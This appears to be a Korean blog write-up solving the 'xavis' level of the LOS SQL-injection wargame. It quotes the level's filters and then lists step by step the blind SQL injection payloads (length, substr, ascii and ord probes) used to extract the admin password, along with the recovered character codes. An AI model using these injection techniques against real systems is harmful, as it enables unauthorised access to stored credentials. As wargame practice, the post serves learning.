19.Xavis 풀이.
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/regex|like/i',$_GET[pw])) exit("HeHe");
정규표현식이랑 LIKE를 필터링하고 있다.
다른 코드를 봐도 특별히 주의해야 할 코드는 없고, 즉 admin의 pw만 알면 되는 Blind sql injection 문제.
일단 비밀번호 길이를 알아본다.
pw=' or id='admin' and length(pw)=40%23 입력.
일단 pw의 길이가 40이라는 것을 알았다.
일단 정말 길이가 40일지 아닐지 아니면 NULL을 통해 특정 값부터는 값이 없을 수 있기에 확인해본다.
substr 사용.
?pw=%27||substr(pw,1,1)=0%23에섯 계속 해보면 Hello admin이 뜬다. 즉 모든 값이 0.
설마 pw 값이 유니코드일수도 있을 거 같아서 바이트 크기를 확인.
?pw=%27||length(substr(pw,1,1))=4%23
?pw=%27||ascii(substr(pw,1,1))=0%23
둘 다 Hello admin이 뜬다.
한 마디로 한 글자당 4byte를 차지하고,ascii의 특징인 인수의 가장 왼쪽 문자의 숫자 값을 반환해서 유니코들라는 것을 알 수 있다.
그래서 4x10 = 40. 비밀번호 갯수는 10개.
모든 문자들이 00으로 반환, pw를 알 수 없기 때문에 ascii말고 ord를 사용해야 된다.
하나씩 해보겠다...
?pw=%27%20or%20id=%27admin%27%20and%20ord(mid(pw,1,1))=184%23.
?pw=%27%20or%20id=%27admin%27%20and%20ord(mid(pw,11,1))=0%23
비밀번호가 10개인 건 확실.
184, 249, 197, 176, 198, 208, 196, 161, 164, 187.
위의 확장 아스키 코드가 포함된 아스키 코드표를 보면 된다.
더 편리한 사이트 => https://www.branah.com/ascii-converter
위의 사이트는 변환 필요할 때 아주 편리.
물론 HxD editor를 사용해도 된다.
184, 249, 197, 176, 198, 208, 196, 161, 164, 187.=> ¸, ù, Å, °, Æ, Ð, Ä, ¡, ¤, ».
?pw=¸ ù Å ° Æ Ð Ä ¡ ¤ »
Cf) 제일 어려웠다...난이도가 올라간건지 내가 무식한건지..
#추가 설명.
Ex) U+00b8이라는 유니코드 문자를 hex()함수의 인자로 넣으면 00.
즉 앞 글자 1byte만 16진수로 변환해서 출력. 모든 문자들이 00만을 반환하게 되어 비밀번호를 추측할 수 없던 것이다.
ascii code도 1byte만 가져와서 반환하는 동일한 방식.
hex() or ascii()가 아닌 ord()를 사용하면 완전한 문자를 얻을 수 있다.
==>ord(U+00b8) = 184 [ascii code 10진수].
즉 184,249,197,176,198,208,196,161,164,187
%b8,%f9,%c5,%b0,%c6,%d0,%c4,%a1,%a4,%bb.
유니코드는 다른 글에서 언급하겠다.
'# Related site issues > LOS' 카테고리의 다른 글
21.Iron_golem. (0) | 2018.05.09 |
---|---|
20.Dragon. (0) | 2018.05.09 |
18.Nightmare. (0) | 2018.05.08 |
17.Succubus. (0) | 2018.05.08 |
16.zombie_assassin. (0) | 2018.05.08 |